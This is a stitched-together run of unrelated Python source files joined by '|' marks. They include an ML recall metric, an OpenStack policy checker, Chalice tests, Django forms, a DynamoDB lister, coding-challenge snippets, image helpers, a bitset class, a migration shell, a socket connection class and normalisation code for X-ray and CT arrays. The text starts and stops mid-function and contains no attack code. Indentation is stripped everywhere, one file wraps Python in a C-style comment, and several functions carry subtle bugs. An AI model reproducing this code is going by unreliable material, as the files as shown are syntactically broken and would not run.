pred_label_vowels = torch.argmax(pred_vowels, dim=1).cpu().numpy()
true_label_vowels1 = true_vowels1.cpu().numpy()
true_label_vowels2 = true_vowels2.cpu().numpy()
pred_label_consonants = torch.argmax(pred_consonants, dim=1).cpu().numpy()
true_label_consonants1 = true_consonants1.cpu().numpy()
true_label_consonants2 = true_consonants2.cpu().numpy()
# print('pred_label_graphemes:', pred_label_graphemes.shape)
# print('true_label_graphemes1:', true_label_graphemes1.shape)
# print('true_label_graphemes2:', true_label_graphemes2.shape)
#print(sklearn.metrics.recall_score(pred_label_graphemes, true_label_graphemes1, average='macro'))
#print(sklearn.metrics.recall_score(pred_label_graphemes, true_label_graphemes2, average='macro'))
recall_grapheme = alpha_graphemes * sklearn.metrics.recall_score(pred_label_graphemes, true_label_graphemes1, average='macro') \
+ (1-alpha_graphemes) * sklearn.metrics.recall_score(pred_label_graphemes, true_label_graphemes2, average='macro')
recall_vowel = alpha_vowels * sklearn.metrics.recall_score(pred_label_vowels, true_label_vowels1, average='macro')\
+ (1-alpha_vowels) * sklearn.metrics.recall_score(pred_label_vowels, true_label_vowels2, average='macro')
recall_consonant = alpha_consonants * sklearn.metrics.recall_score(pred_label_consonants, true_label_consonants1, average='macro') \
+ (1 - alpha_consonants) * sklearn.metrics.recall_score(pred_label_consonants, true_label_consonants2, average='macro')
scores = [recall_grapheme, recall_vowel, recall_consonant]
final_score = np.average(scores, weights=[2, 1, 1])
# print(f'recall: grapheme {recall_grapheme}, vowel {recall_vowel}, consonant {recall_consonant}, '
# f'total {final_score}')
return final_score, recall_grapheme, recall_vowel, recall_consonant
def calc_macro_recall(solution, submission):
# solution df, submission df
scores = []
for component in ['grapheme_root', 'consonant_diacritic', 'vowel_diacritic']:
y_true_subset = solution[solution[component] == component]['target'].values
y_pred_subset = submission[submission[component] == component]['target'].values
scores.append(sklearn.metrics.recall_score(
y_true_subset, y_pred_subset, average='macro'))
final_score = np.average(scores, weights=[2, 1, 1])
return final_score |
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""Policy engine for openstack_auth"""
import logging
import os.path
from django.conf import settings
from oslo_config import cfg
from oslo_policy import opts as policy_opts
from oslo_policy import policy
import yaml
from openstack_auth import user as auth_user
from openstack_auth import utils as auth_utils
LOG = logging.getLogger(__name__)
_ENFORCER = None
_BASE_PATH = settings.POLICY_FILES_PATH
def _get_policy_conf(policy_file, policy_dirs=None):
conf = cfg.ConfigOpts()
# Passing [] is required. Otherwise oslo.config looks up sys.argv.
conf([])
policy_opts.set_defaults(conf)
conf.set_default('policy_file', policy_file, 'oslo_policy')
# Policy Enforcer has been updated to take in a policy directory
# as a config option. However, the default value in is set to
# ['policy.d'] which causes the code to break. Set the default
# value to empty list for now.
if policy_dirs is None:
policy_dirs = []
conf.set_default('policy_dirs', policy_dirs, 'oslo_policy')
return conf
def _get_policy_file_with_full_path(service):
policy_files = settings.POLICY_FILES
policy_file = os.path.join(_BASE_PATH, policy_files[service])
policy_dirs = settings.POLICY_DIRS.get(service, [])
policy_dirs = [os.path.join(_BASE_PATH, policy_dir)
for policy_dir in policy_dirs]
return policy_file, policy_dirs
def _convert_to_ruledefault(p):
deprecated = p.get('deprecated_rule')
if deprecated:
deprecated_rule = policy.DeprecatedRule(deprecated['name'],
deprecated['check_str'])
else:
deprecated_rule = None
return policy.RuleDefault(
p['name'], p['check_str'],
description=p['description'],
scope_types=p['scope_types'],
deprecated_rule=deprecated_rule,
deprecated_for_removal=p.get('deprecated_for_removal', False),
deprecated_reason=p.get('deprecated_reason'),
deprecated_since=p.get('deprecated_since'),
)
def _load_default_rules(service, enforcer):
policy_files = settings.DEFAULT_POLICY_FILES
try:
policy_file = os.path.join(_BASE_PATH, policy_files[service])
except KeyError:
LOG.error('Default policy file for %s is not defined. '
'Check DEFAULT_POLICY_FILES setting.', service)
return
try:
with open(policy_file) as f:
policies = yaml.safe_load(f)
except IOError as e:
LOG.error('Failed to open the policy file for %(service)s %(path)s: '
'%(reason)s',
{'service': service, 'path': policy_file, 'reason': e})
return
except yaml.YAMLError as e:
LOG.error('Failed to load the default policies for %(service)s: '
'%(reason)s', {'service': service, 'reason': e})
return
defaults = [_convert_to_ruledefault(p) for p in policies]
enforcer.register_defaults(defaults)
def _get_enforcer():
global _ENFORCER
if not _ENFORCER:
_ENFORCER = {}
policy_files = settings.POLICY_FILES
for service in policy_files.keys():
policy_file, policy_dirs = _get_policy_file_with_full_path(service)
conf = _get_policy_conf(policy_file, policy_dirs)
enforcer = policy.Enforcer(conf)
enforcer.suppress_default_change_warnings = True
_load_default_rules(service, enforcer)
try:
enforcer.load_rules()
except IOError:
# Just in case if we have permission denied error which is not
# handled by oslo.policy now. It will handled in the code like
# we don't have any policy file: allow action from the Horizon
# side.
LOG.warning("Cannot load a policy file '%s' for service '%s' "
"due to IOError. One possible reason is "
"permission denied.", policy_file, service)
except ValueError:
LOG.warning("Cannot load a policy file '%s' for service '%s' "
"due to ValueError. The file might be wrongly "
"formatted.", policy_file, service)
# Ensure enforcer.rules is populated.
if enforcer.rules:
LOG.debug("adding enforcer for service: %s", service)
_ENFORCER[service] = enforcer
else:
locations = policy_file
if policy_dirs:
locations += ' and files under %s' % policy_dirs
LOG.warning("No policy rules for service '%s' in %s",
service, locations)
return _ENFORCER
def reset():
global _ENFORCER
_ENFORCER = None
def check(actions, request, target=None):
"""Check user permission.
Check if the user has permission to the action according
to policy setting.
:param actions: list of scope and action to do policy checks on,
the composition of which is (scope, action). Multiple actions
are treated as a logical AND.
* scope: service type managing the policy for action
* action: string representing the action to be checked
this should be colon separated for clarity.
i.e.
| compute:create_instance
| compute:attach_volume
| volume:attach_volume
for a policy action that requires a single action, actions
should look like
| "(("compute", "compute:create_instance"),)"
for a multiple action check, actions should look like
| "(("identity", "identity:list_users"),
| ("identity", "identity:list_roles"))"
:param request: django http request object. If not specified, credentials
must be passed.
:param target: dictionary representing the object of the action
for object creation this should be a dictionary
representing the location of the object e.g.
{'project_id': object.project_id}
:returns: boolean if the user has permission or not for the actions.
"""
if target is None:
target = {}
user = auth_utils.get_user(request)
# Several service policy engines default to a project id check for
# ownership. Since the user is already scoped to a project, if a
# different project id has not been specified use the currently scoped
# project's id.
#
# The reason is the operator can edit the local copies of the service
# policy file. If a rule is removed, then the default rule is used. We
# don't want to block all actions because the operator did not fully
# understand the implication of editing the policy file. Additionally,
# the service APIs will correct us if we are too permissive.
if target.get('project_id') is None:
target['project_id'] = user.project_id
if target.get('tenant_id') is None:
target['tenant_id'] = target['project_id']
# same for user_id
if target.get('user_id') is None:
target['user_id'] = user.id
domain_id_keys = [
'domain_id',
'project.domain_id',
'user.domain_id',
'group.domain_id'
]
# populates domain id keys with user's current domain id
for key in domain_id_keys:
if target.get(key) is None:
target[key] = user.user_domain_id
credentials = _user_to_credentials(user)
domain_credentials = _domain_to_credentials(request, user)
# if there is a domain token use the domain_id instead of the user's domain
if domain_credentials:
credentials['domain_id'] = domain_credentials.get('domain_id')
enforcer = _get_enforcer()
for action in actions:
scope, action = action[0], action[1]
if scope in enforcer:
# this is for handling the v3 policy file and will only be
# needed when a domain scoped token is present
if scope == 'identity' and domain_credentials:
# use domain credentials
if not _check_credentials(enforcer[scope],
action,
target,
domain_credentials):
return False
# use project credentials
if not _check_credentials(enforcer[scope],
action, target, credentials):
return False
# if no policy for scope, allow action, underlying API will
# ultimately block the action if not permitted, treat as though
# allowed
return True
def _check_credentials(enforcer_scope, action, target, credentials):
is_valid = True
if not enforcer_scope.enforce(action, target, credentials):
# to match service implementations, if a rule is not found,
# use the default rule for that service policy
#
# waiting to make the check because the first call to
# enforce loads the rules
if action not in enforcer_scope.rules:
if not enforcer_scope.enforce('default', target, credentials):
if 'default' in enforcer_scope.rules:
is_valid = False
else:
is_valid = False
return is_valid
def _user_to_credentials(user):
if not hasattr(user, "_credentials"):
roles = [role['name'] for role in user.roles]
user._credentials = {'user_id': user.id,
'username': user.username,
'project_id': user.project_id,
'tenant_id': user.project_id,
'project_name': user.project_name,
'domain_id': user.user_domain_id,
'is_admin': user.is_superuser,
'roles': roles}
return user._credentials
def _domain_to_credentials(request, user):
if not hasattr(user, "_domain_credentials"):
try:
domain_auth_ref = request.session.get('domain_token')
# no domain role or not running on V3
if not domain_auth_ref:
return None
domain_user = auth_user.create_user_from_token(
request, auth_user.Token(domain_auth_ref),
domain_auth_ref.service_catalog.url_for(interface=None))
user._domain_credentials = _user_to_credentials(domain_user)
# uses the domain_id associated with the domain_user
user._domain_credentials['domain_id'] = domain_user.domain_id
except Exception:
LOG.warning("Failed to create user from domain scoped token.")
return None
return user._domain_credentials
|
import json
import pytest
from app import app
@pytest.fixture
def gateway_factory():
from chalice.config import Config
from chalice.local import LocalGateway
def create_gateway(config=None):
if config is None:
config = Config()
return LocalGateway(app, config)
return create_gateway
class TestChalice(object):
def test_index(self, gateway_factory):
gateway = gateway_factory()
response = gateway.handle_request(method='GET',
path='/',
headers={},
body='')
assert response['statusCode'] == 200
assert json.loads(response['body']) == dict([('hello', 'world')])
def test_hello(self, gateway_factory):
gateway = gateway_factory()
response = gateway.handle_request(method='GET',
path='/hello/alice',
headers={},
body='')
assert response['statusCode'] == 200
assert json.loads(response['body']) == dict([('hello', 'alice')])
def test_users(self, gateway_factory):
gateway = gateway_factory()
response = gateway.handle_request(method='POST',
path='/users',
headers={'Content-Type':
'application/json'},
body='["alice","bob"]')
assert response['statusCode'] == 200
expected = json.loads('{"user":["alice","bob"]}')
actual = json.loads(response['body'])
assert actual == expected
|
from django import forms
from django.contrib.auth.models import User
from django.contrib.auth.forms import UserCreationForm
from .models import Profile
#This form created so that we can use it instead if usercreation form. Has the add-on
# of asking for eail when an account is created
class UserRegisterForm(UserCreationForm):
email = forms.EmailField()
class Meta:
model = User
fields = ['username', 'email', 'password1', 'password2']
# fields are the fields we want in list in order
#password2 is password confirmation - dev server wont work if named anything else
class UserUpdateForm(forms.ModelForm):
email = forms.EmailField()
class Meta:
model = User
fields = ['username', 'email']
# Allows ability to update user info
class ProfileUpdateForm(forms.ModelForm):
class Meta:
model = Profile
fields = ['image']
#Allows ability to update image |
from boto3.dynamodb.conditions import Key
from elasticpypi import name
from elasticpypi import s3
from elasticpypi.config import config
TABLE = config['table']
def list_packages(dynamodb):
table = dynamodb.Table(TABLE)
dynamodb_packages = table.scan(ProjectionExpression='package_name')
package_set = set()
for package in dynamodb_packages['Items']:
package_set.add(package['package_name'])
packages = [(package, package) for package in sorted(package_set)]
return packages
def list_packages_by_name(dynamodb, package_name):
_name = name.normalize(package_name)
table = dynamodb.Table(TABLE)
dynamodb_packages = table.query(
IndexName='normalized_name-index',
KeyConditionExpression=Key('normalized_name').eq(_name),
ProjectionExpression='filename',
ScanIndexForward=False,
)
packages = [(s3.signed_url(package['filename']), package['filename']) for package in dynamodb_packages['Items']]
return packages
|
/*
* @turlapatykaushik
* github url : github.com/turlapatykaushik
* problem description : This problem is 'Life, the universe and Everything' from HackerEarth
*/
while(1):
x = input()
if(x == 42):
break
else:
print x
|
# https://www.hackerrank.com/challenges/any-or-all/problem
# solution, Python 3
n, a = (input(), input().split(" "))# input list
print((any([j == j[::-1] for j in a]) and (all((int)(x) > 0 for x in (a))))) |
def chan_le(n):
mang = []
for i in range(n):
if i % 2 == 1:
mang.append(-1)
else:
mang.append(2 - i * 0.25)
return mang |
from skimage import color
from skimage.transform import rescale, resize, downscale_local_mean
from typing import Tuple
import numpy as np
import torch
class Converter(object):
@classmethod
def list2numpy(cls, mat, dtype='long'):
mat = np.asarray(mat)
if dtype == 'long':
mat = mat.astype(np.long)
else:
mat = mat.astype(np.double)
return mat
@classmethod
def list2tensor(cls, mat, dtype='long', gpu:int=-1, requires_grad:bool=False):
nmat = cls.list2numpy(mat, dtype=dtype)
tmat = torch.from_numpy(nmat)
if dtype == 'long':
tmat = tmat.long()
else:
tmat = tmat.float()
if requires_grad:
tmat.requires_grad_ = True
if gpu >= 0:
tmat = tmat.cuda(gpu)
return tmat
class Transformer(object):
@classmethod
def rescale(cls, array, scale_factor:float=1.0, anti_aliasing:bool=True):
array = rescale(array, scale_factor, anti_aliasing=anti_aliasing)
return array
@classmethod
def resize(cls, array, shape:Tuple[int], anti_aliasing:bool=True):
array = resize(array, shape, anti_aliasing=anti_aliasing)
return array
@classmethod
def downscale(cls, img, downscale_factor:Tuple[int]):
array = downscale_local_mean(array, downscale_factor)
return array
@classmethod
def togray(cls, array):
array = color.rgb2gray(array)
return array
@classmethod
def rotate(cls, array, angle:int=0):
if angle not in [0, 90, 180, 270]:
angle = 0
if angle == 0:
pass
elif angle == 90:
array = np.rot90(array)
elif angle == 180:
array = np.rot90(array, 2)
elif angle == 270:
array = np.rot90(array, 3)
return array
@classmethod
def reverse(cls, array, mode:str='h'):
if mode == 'h':
array = np.flip(array, axis=0)
elif mode == 'r':
array = np.flip(array, axis=1)
return array
@classmethod
def channel_permute(cls, array, permute:int=0):
shape = array.shape
rows, cols, _ = shape
perumtation = cls._get_permute(permute=permute)
arrays = [np.reshape(array[:,:,ch], (rows, cols, 1)) for ch in perumtation]
array = np.concatenate(arrays, axis=2)
return array
@staticmethod
def _get_permute(permute:int=0):
if permute == 0:
return [0, 1, 2]
elif permute == 1:
return [0, 2, 1]
elif permute == 2:
return [1, 0, 2]
elif permute == 3:
return [0, 2, 1]
elif permute == 4:
return [2, 0, 1]
elif permute == 5:
return [2, 1, 0]
@staticmethod
def _channel_permute(arr, permute:int=0):
narr = np.zeros((3,))
if permute == 0:
narr[0] = arr[0]
narr[1] = arr[1]
narr[2] = arr[2]
elif permute == 1:
narr[0] = arr[0]
narr[1] = arr[1]
narr[2] = arr[2]
elif permute == 2:
narr[0] = arr[1]
narr[1] = arr[0]
narr[2] = arr[2]
elif permute == 3:
narr[0] = arr[1]
narr[1] = arr[2]
narr[2] = arr[0]
elif permute == 4:
narr[0] = arr[2]
narr[1] = arr[0]
narr[2] = arr[1]
elif permute == 5:
narr[0] = arr[2]
narr[1] = arr[1]
narr[2] = arr[0]
return narr
@classmethod
def negate(cls, array, bits:int=8):
array = np.bitwise_xor(array, (2**bits) - 1)
return array |
# -*- coding: utf-8 -*-
import llbc
class pyllbcBitSet(object):
"""
pyllbc bitset class encapsulation.
"""
def __init__(self, init_bits=0):
self._bits = long(init_bits)
@property
def bits(self):
return self._bits
def set_bits(self, bits):
self._bits |= bits
def unset_bits(self, bits):
self._bits &= (~bits)
def swap_bits(self, from_bits, to_bits):
self.unset_bits(from_bits)
self.set_bits(to_bits)
def has_bits(self, bits):
return True if self._bits & bits == bits else False
def only_has_bits(self, bits):
if self._bits & bits != bits:
return False
elif self._bits & (~bits) != 0:
return False
return True
def set_all(self):
self._bits = -1
def unset_all(self, reset_bits=0):
self._bits = reset_bits
def __str__(self):
return self._i2b(self._bits)
@staticmethod
def _i2b(bits):
l = []
n, m = divmod(bits, 2)
l.append(str(m))
while n != 0:
n, m = divmod(n, 2)
l.insert(0, str(m))
return ''.join(l)
llbc.BitSet = pyllbcBitSet
|
from ConfigParser import SafeConfigParser
from argparse import ArgumentParser
from cmd import Cmd
from refugee.inspector import dump_sql
from refugee.manager import migration_manager
from refugee.migration import Direction
class RefugeeCmd(Cmd):
"""The command line interface for Refugee"""
intro = 'Welcome to the Refugee Shell. Type help or ? to list commands\n'
prompt = 'refugee> '
def __init__(self, manager):
Cmd.__init__(self)
self.manager = manager
def default(self, line):
if line == 'EOF':
print
exit()
else:
print "Unrecognizable command"
self.do_help('')
def do_dumpsql(self, arg):
"""
Produces a raw SQL dump of the existing database to the best abilities
of refugee. There will be certain types which are impossible to dump
currently
"""
dump_sql(arg)
def do_down(self, arg):
"""Run down migration with name or numeric id matching arg"""
print "running down migration"
self.manager.run_one(arg, Direction.DOWN)
def do_init(self, directory):
"""
Create a new migrations directory and initialize the configuration
file in that directory
:param directory: location to initialize migrations in
"""
print "initializing migrations in %s" % directory
self.manager.init(directory)
def do_list(self, arg):
"""
Show all available migrations
"""
self.manager.list()
def do_migrate(self, arg):
"""
Run migrations, If an argument is passed that will be used as the
stopping point for the migration run
"""
print "running migrations"
#XXX:dc: need to interpret the args to allow passing of a specific
# migration for the stopping point
self.manager.run_all(Direction.UP)
def do_new(self, name):
"""
Create a migration with `name`. The migration will also be assigned an
locally unique id.
:param name: The named parameter to give the new migration
"""
print "creating migration %s" % name
#XXX:dc: assert that name is sane
self.manager.new(name)
def do_up(self, arg):
"""Run up migration with name or numeric id matching arg"""
print "running up migration"
self.manager.run(arg, Direction.UP)
def do_exit(self, arg):
"""Quit the interactive shell"""
exit()
def do_quit(self, arg):
"""Quit the interactive shell"""
exit()
def emptyline(self):
# Do nothing with empty lines
pass
def main():
config = SafeConfigParser()
parser = ArgumentParser()
parser.add_argument('-c', '--config', help='Configuration File')
parser.add_argument('command', metavar='CMD', type=str, nargs='?',
default='', help="command")
parser.add_argument('parameters', metavar='ARG', type=str, nargs="*",
help="command parameters")
options = parser.parse_args()
command = options.command
parameters = ' '.join(options.parameters)
if options.config:
if command == 'init':
print "Configuration files are not compatible with initialization"
config.read(options.config)
migration_manager.configure(dict(config.items('refugee')))
else:
#XXX:dc: eventually, when we we're not given a configuration file so
#lets try to find one anyway
assert command == 'init', "You must specify a config file or init a new repo"
cli = RefugeeCmd(migration_manager)
if command == '' and parameters == '':
cli.cmdloop()
else:
assert migration_manager.configured
cli.onecmd(' '.join((command, parameters)))
if __name__ == "__main__":
main()
|
# -*- coding: utf-8 -
#
# This file is part of restkit released under the MIT license.
# See the NOTICE for more information.
import logging
import random
import select
import socket
import ssl
import time
import io
from socketpool import Connector
from socketpool.util import is_connected
CHUNK_SIZE = 16 * 1024
MAX_BODY = 1024 * 112
DNS_TIMEOUT = 60
class Connection(Connector):
def __init__(self, host, port, backend_mod=None, pool=None,
is_ssl=False, extra_headers=[], proxy_pieces=None, timeout=None,
**ssl_args):
# connect the socket, if we are using an SSL connection, we wrap
# the socket.
self._s = backend_mod.Socket(socket.AF_INET, socket.SOCK_STREAM)
if timeout is not None:
self._s.settimeout(timeout)
self._s.connect((host, port))
if proxy_pieces:
self._s.sendall(proxy_pieces)
response = io.StringIO()
while response.getvalue()[-4:] != '\r\n\r\n':
response.write(self._s.recv(1))
response.close()
if is_ssl:
self._s = ssl.wrap_socket(self._s, **ssl_args)
self.extra_headers = extra_headers
self.is_ssl = is_ssl
self.backend_mod = backend_mod
self.host = host
self.port = port
self._connected = True
self._life = time.time() - random.randint(0, 10)
self._pool = pool
self._released = False
def matches(self, **match_options):
target_host = match_options.get('host')
target_port = match_options.get('port')
return target_host == self.host and target_port == self.port
def is_connected(self):
if self._connected:
return is_connected(self._s)
return False
def handle_exception(self, exception):
raise
def get_lifetime(self):
return self._life
def invalidate(self):
self.close()
self._connected = False
self._life = -1
def release(self, should_close=False):
if self._pool is not None:
if self._connected:
if should_close:
self.invalidate()
self._pool.release_connection(self)
else:
self._pool = None
elif self._connected:
self.invalidate()
def close(self):
if not self._s or not hasattr(self._s, "close"):
return
try:
self._s.close()
except:
pass
def socket(self):
return self._s
def send_chunk(self, data):
chunk = "".join(("%X\r\n" % len(data), data, "\r\n"))
self._s.sendall(chunk)
def send(self, data, chunked=False):
if chunked:
return self.send_chunk(data)
return self._s.sendall(data)
def sendlines(self, lines, chunked=False):
for line in list(lines):
self.send(line, chunked=chunked)
# TODO: add support for sendfile api
def sendfile(self, data, chunked=False):
""" send a data from a FileObject """
if hasattr(data, 'seek'):
data.seek(0)
while True:
binarydata = data.read(CHUNK_SIZE)
if binarydata == '':
break
self.send(binarydata, chunked=chunked)
def recv(self, size=1024):
return self._s.recv(size)
|
#!python3
import pickle
import numpy
from scipy import misc
import matplotlib.pyplot as plt
from keras.utils import plot_model
from keras.models import load_model
import tensorflow as tf
import itertools
from skimage import util
from skimage import transform
from argparse import ArgumentParser
import sys
import os
import re
import time
from scipy import io
import h5py
import string
import glob
TYPES = {"XRAY": 0, "SCATTER": 1, "CT": 2}
def numpy_normalize(v):
norm = numpy.linalg.norm(v)
if norm == 0:
return v
return v / norm
def normaliseFieldArray(a, numChannels, flatField=None, itype=TYPES["XRAY"], minx=None, maxx=None):
inShape = a.shape
inDimLen = len(inShape)
a = numpy.squeeze(a)
outShape = a.shape
outDimLen = len(outShape)
if itype == TYPES['XRAY']:
if flatField is not None:
a = numpy.clip(numpy.divide(a, flatField), 0.0, 1.0)
else:
if numChannels<=1:
if minx is None:
minx = numpy.min(a)
if maxx is None:
maxx = numpy.max(a)
a = (a - minx) / (maxx - minx)
else:
if minx is None:
minx = []
if maxx is None:
maxx = []
if outDimLen<4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
if len(minx)<numChannels:
minx.append(numpy.min(a[:, :, channelIdx]))
if len(maxx)<numChannels:
maxx.append(numpy.max(a[:, :, channelIdx]))
if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, channelIdx] = (a[:, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
if len(minx)<numChannels:
minx.append(numpy.min(a[:, :, :, channelIdx]))
if len(maxx)<numChannels:
maxx.append(numpy.max(a[:, :, :, channelIdx]))
if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, :, channelIdx] = (a[:, :, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])
elif itype == TYPES['SCATTER']:
if numChannels<=1:
if minx is None:
minx = 0
if maxx is None:
maxx = numpy.max(numpy.abs(a))
a = (a-minx)/(maxx-minx)
else:
if minx is None:
minx = []
if maxx is None:
maxx = []
if outDimLen < 4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
#minx.append(numpy.min(flatField[:, :, channelIdx]))
#maxx.append(numpy.max(flatField[:, :, channelIdx]))
if len(minx) < numChannels:
minx.append(0)
if len(maxx) < numChannels:
maxx.append(numpy.max(numpy.abs(a[:, :, channelIdx])))
if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, channelIdx] = (a[:, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
#minx.append(numpy.min(flatField[:, :, channelIdx]))
#maxx.append(numpy.max(flatField[:, :, channelIdx]))
if len(minx) < numChannels:
minx.append(0)
if len(maxx) < numChannels:
maxx.append(numpy.max(numpy.abs(a[:, :, :, channelIdx])))
if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, :, channelIdx] = (a[:, :, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])
elif itype == TYPES['CT']:
# if maxx:
# if outDimLen < 4:
# for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
# aa=a[:, :, channelIdx]
# aa[aa>maxx[channelIdx]] = maxx[channelIdx]
# a[:, :, channelIdx] = aa
# else:
# for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
# aa=a[:, :, :, channelIdx]
# aa[aa>maxx[channelIdx]] = maxx[channelIdx]
# a[:, :, :, channelIdx] = aa
if numChannels<=1:
if minx is None:
minx = numpy.min(a)
if maxx is None:
maxx = numpy.max(a)
a = (a - minx) / (maxx-minx)
else:
if minx is None:
minx = []
if maxx is None:
maxx = []
if outDimLen < 4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
if len(minx) < numChannels:
minx.append(numpy.min(a[:, :, channelIdx]))
if len(maxx) < numChannels:
maxx.append(numpy.max(a[:, :, channelIdx]))
if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, channelIdx] = (a[:, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])
aa = a[:, :, channelIdx]
aa[aa>1]=1
a[:, :, channelIdx]=aa
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
if len(minx) < numChannels:
minx.append(numpy.min(a[:, :, :, channelIdx]))
if len(maxx) < numChannels:
maxx.append(numpy.max(a[:, :, :, channelIdx]))
if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, :, channelIdx] = (a[:, :, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])
aa = a[:, :, :, channelIdx]
aa[aa>1]=1
a[:, :, :, channelIdx]=aa
#print(("{} in vs {} out vs {} a-shape".format(inShape,outShape, a.shape)))
if outDimLen<inDimLen:
a = a.reshape(inShape)
return minx, maxx, a
def denormaliseFieldArray(a, numChannels, minx=None, maxx=None, flatField=None, itype=TYPES["XRAY"]):
inShape = a.shape
inDimLen = len(inShape)
a = numpy.squeeze(a)
outShape = a.shape
outDimLen = len(outShape)
if itype == TYPES['XRAY']:
if flatField is not None:
a = a * flatField
else:
if numChannels <= 1:
a = a * (maxx - minx) + minx
else:
if outDimLen < 4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, channelIdx] = a[:, :, channelIdx] * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, :, channelIdx] = a[:, :, :, channelIdx] * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
elif itype == TYPES['SCATTER']:
if numChannels <= 1:
a = a*(maxx-minx)+minx
else:
if outDimLen < 4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, channelIdx] = a[:, :, channelIdx] * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, :, channelIdx] = a[:, :, :, channelIdx] * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
elif itype == TYPES['CT']:
if numChannels <= 1:
a = a * (maxx - minx) + minx
else:
if outDimLen < 4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, channelIdx] = a[:, :, channelIdx] * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, :, channelIdx] = a[:, :, :, channelIdx] * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
if outDimLen<inDimLen:
a = a.reshape(inShape)
return a
def clipNormFieldArray(a, numChannels, flatField=None, itype=TYPES["XRAY"]):
inShape = a.shape
inDimLen = len(inShape)
a = numpy.squeeze(a)
outShape = a.shape
outDimLen = len(outShape)
minx = None
maxx = None
if numChannels <= 1:
minx = 0
maxx = 200.0
a = numpy.clip(a,minx,maxx)
else:
minx = numpy.zeros(32, a.dtype)
# IRON-CAP
#maxx = numpy.array([197.40414602,164.05027316,136.52565589,114.00212036,95.65716526,80.58945472,67.46342114,56.09140486,45.31409774,37.64459755,31.70887797,26.41859429,21.9482954,18.30031205,15.31461954,12.82080624,10.70525853,9.17048875,7.82142154,6.7137903,5.82180097,5.01058597,4.41808895,3.81359458,3.40606635,3.01021494,2.76689262,2.47842852,2.32304044,2.12137244,15.00464109,33.07879503], a.dtype)
# SCANDIUM-CAP
maxx = numpy.array([40.77704764,33.66334239,27.81001556,22.99326739,19.0324146,15.68578289,12.92738646,10.67188431,8.82938367,7.32395058,6.09176207,5.08723914,4.25534357,3.58350332,3.0290752,2.57537332,2.20811373,1.8954763,1.64371557,1.43238593,1.27925194,1.24131863,1.11358517,1.08348688,1.03346652,0.95083789,0.9814638,0.87886442,1.06108008,1.4744603,1.37953941,1.33551697])
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, channelIdx] = numpy.clip(a[:, :, channelIdx], minx[channelIdx], maxx[channelIdx])
if itype == TYPES['XRAY']:
if flatField is not None:
a = numpy.clip(numpy.divide(a, flatField), 0.0, 1.0)
else:
if numChannels<=1:
a = ((a - minx) / (maxx - minx)) * 2.0 - 1.0
else:
if outDimLen < 4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, channelIdx] = ((a[:, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])) * 2.0 - 1.0
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, :, channelIdx] = ((a[:, :, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])) * 2.0 - 1.0
elif itype == TYPES['SCATTER']:
if numChannels<=1:
a = ((a-minx)/(maxx-minx)) * 2.0 - 1.0
else:
if outDimLen < 4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, channelIdx] = ((a[:, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])) * 2.0 - 1.0
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, :, channelIdx] = ((a[:, :, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])) * 2.0 - 1.0
elif itype == TYPES['CT']:
if numChannels<=1:
a = ((a - minx) / (maxx-minx)) * 2.0 - 1.0
else:
if outDimLen < 4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
